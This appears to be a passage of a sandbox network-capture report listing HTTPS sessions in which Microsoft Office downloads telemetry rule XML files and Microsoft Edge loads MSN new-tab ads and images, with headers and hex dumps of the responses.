2024-11-28 16:24:51 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 3bad3b8c-e01e-001f-0534-411633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162451Z-174f7845968zgtf6hC1EWRqd8s0000000rqg0000000038k9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49912	20.75.60.91	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:51 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1066DAF9585D62E900DBCFBC59D76315&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6cd1dd1442474f7fcb6736901db29094 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-28 16:24:52 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2701 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425505637-T700376482-C128000000002480929+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002480929+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 16:24:51 GMT Connection: close
2024-11-28 16:24:52 UTC	2701	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 57 65 6c 6c 69 6e 67 74 6f 6e 2c 20 4e 65 77 20 5a 65 61 6c 61 6e 64 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 57 65 6c 6c 69 6e 67 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Wellington, New Zealand\",\"cta\":\"https:\/\/www.bing.com\/search?q=Welling

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:53 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162453Z-174f7845968zgtf6hC1EWRqd8s0000000rrg000000000scc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:53 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:53 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162453Z-174f7845968xr5c2hC1EWRd0hn0000000fg000000000b6us x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:53 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:53 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:53 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162453Z-174f7845968cpnpfhC1EWR3afc0000000y9000000000a4s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:53 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49917	104.117.182.59	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:53 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:54 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 Last-Modified: Tue, 26 Nov 2024 18:30:46 GMT X-Source-Length: 79668 X-Datacenter: eastus X-ActivityId: 40cb2f75-639b-4750-9682-bac2ee48475f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 79668 Cache-Control: public, max-age=266693 Expires: Sun, 01 Dec 2024 18:29:46 GMT Date: Thu, 28 Nov 2024 16:24:53 GMT Connection: close
2024-11-28 16:24:54 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 16:24:54 UTC	16384	IN	Data Raw: 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b 67 Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[g
2024-11-28 16:24:54 UTC	2627	IN	Data Raw: 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 42 Data Ascii: P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nwB
2024-11-28 16:24:54 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-28 16:24:54 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-28 16:24:54 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-28 16:24:54 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:53 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:53 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:53 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162453Z-174f7845968kdththC1EWRzvxn0000000axg00000000g1g8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:53 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49919	104.117.182.59	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:53 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:54 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZa Last-Modified: Fri, 15 Nov 2024 07:23:40 GMT X-Source-Length: 110548 X-Datacenter: westus X-ActivityId: 1c1561fa-e2a7-4aa4-b29b-4f822fb442fe Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 110548 Cache-Control: public, max-age=53771 Expires: Fri, 29 Nov 2024 07:21:04 GMT Date: Thu, 28 Nov 2024 16:24:53 GMT Connection: close
